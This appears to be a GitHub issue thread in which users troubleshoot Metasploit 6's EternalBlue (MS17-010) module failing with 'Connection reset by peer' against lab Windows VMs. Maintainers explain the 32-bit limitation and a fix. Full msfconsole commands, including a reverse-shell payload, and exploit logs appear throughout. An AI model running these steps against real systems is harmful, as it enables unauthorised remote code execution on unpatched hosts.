Errno::ECONNRESET: Connection reset by peer

[Mazuco]

I try to run a exploit, but it appear a error:

VM Oracle Windows 7 Professional

VM Kali Linux 2020.3

metasploit v6.0.4-dev

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.0.31
RHOSTS => 192.168.0.31
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j
[] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[] Started reverse TCP handler on 192.168.0.24:4444
[] 192.168.0.31:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
msf6 exploit(windows/smb/ms17_010_eternalblue) > [+] 192.168.0.31:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7600 x86 (32-bit)
[] 192.168.0.31:445 - Scanned 1 of 1 hosts (100% complete)
[] 192.168.0.31:445 - Connecting to target for exploitation.
[+] 192.168.0.31:445 - Connection established for exploitation.
[+] 192.168.0.31:445 - Target OS selected valid for OS indicated by SMB reply
[] 192.168.0.31:445 - CORE raw buffer dump (27 bytes)
[] 192.168.0.31:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[] 192.168.0.31:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 30 sional 7600
[+] 192.168.0.31:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[] 192.168.0.31:445 - Trying exploit with 12 Groom Allocations.
[] 192.168.0.31:445 - Sending all but last fragment of exploit packet
[] 192.168.0.31:445 - Starting non-paged pool grooming
[+] 192.168.0.31:445 - Sending SMBv2 buffers
[+] 192.168.0.31:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[] 192.168.0.31:445 - Sending final SMBv2 buffers.
[] 192.168.0.31:445 - Sending last fragment of exploit packet!
[] 192.168.0.31:445 - Receiving response from exploit packet
[-] 192.168.0.31:445 - Did not receive a response from exploit packet
[] 192.168.0.31:445 - Sending egg to corrupted connection.
[-] 192.168.0.31:445 - Errno::ECONNRESET: Connection reset by peer

How to fix it?

[compsup]

Have the same issue

[Mazuco]

Have the same issue

it's a bug, in the version 5 it works fine

[compsup]

Have the same issue

it's a bug, in the version 5 it works fine

Ok, thanks.

[timwr]

@Mazuco can you confirm the arch of the box you're trying to exploit? e.g 32bit or 64bit
[+] 192.168.0.31:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7600 x86 (32-bit)
^ this implies you're trying to exploit a 32bit version of Windows 7 which is not supported.
Are you sure it works fine in msf5?

[Karma47]

issue persists on msf6

[Mazuco]

@Mazuco can you confirm the arch of the box you're trying to exploit? e.g 32bit or 64bit
[+] 192.168.0.31:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7600 x86 (32-bit)
^ this implies you're trying to exploit a 32bit version of Windows 7 which is not supported.
Are you sure it works fine in msf5?

It works fine in version 5.

[Supresun]

i have the same issue, it works well in msf5.

[macaco19]

if you want to to downgrade to msf5
try 5.0.101-dev version...
cause 5.0.101-dev is the stable version that also used in kali linux repo

How do I downgrade from msf6 to msf5??

Im always updating to msf6 version ... -.-

[GetRektBoy724]

if you want to to downgrade to msf5
try 5.0.101-dev version...
cause 5.0.101-dev is the stable version that also used in kali linux repo

How do I downgrade from msf6 to msf5??

Im always updating to msf6 version ... -.-

what os do you use?
you can add kali linux repository
and use apt to install metasploit-framework

[zeroSteiner]

There appears to be two issues at play here. @timwr is correct, targeting an x86 system isn't supported by the module and to my knowledge it never has been. We certainly haven't removed any targets. That's one issue.

There is also a second issue affecting Metasploit v6.0.3 through the latest version as of today. This second issue is addressed in PR #14290, which after that's landed this exploit will work again but only for x64 targets.

[zeroSteiner]

With #14290 now landed this issue has been addressed. Tomorrow v6.0.12 will be tagged and released, including this fix.

[AbdirahmanJibril]

I have msf6 running this exploit agains 64-bit pc but still problem exist

[] Started reverse TCP handler on 192.168.6.139:4444
[] 192.168.6.140:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.6.140:445 - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit)
[-] 192.168.6.140:445 - Errno::ECONNRESET: Connection reset by peer
[] 192.168.6.140:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.6.140:445 - The target is vulnerable.
[] 192.168.6.140:445 - shellcode size: 1232
[] 192.168.6.140:445 - numGroomConn: 12
[] 192.168.6.140:445 - Target OS: Windows 10 Pro 10240
[*] 192.168.6.140:445 - CommunicationError encountered. Have you set SMBUser/SMBPass?
[-] 192.168.6.140:445 - Exploit failed with the following error: Read timeout expired when reading from the Socket (timeout=30)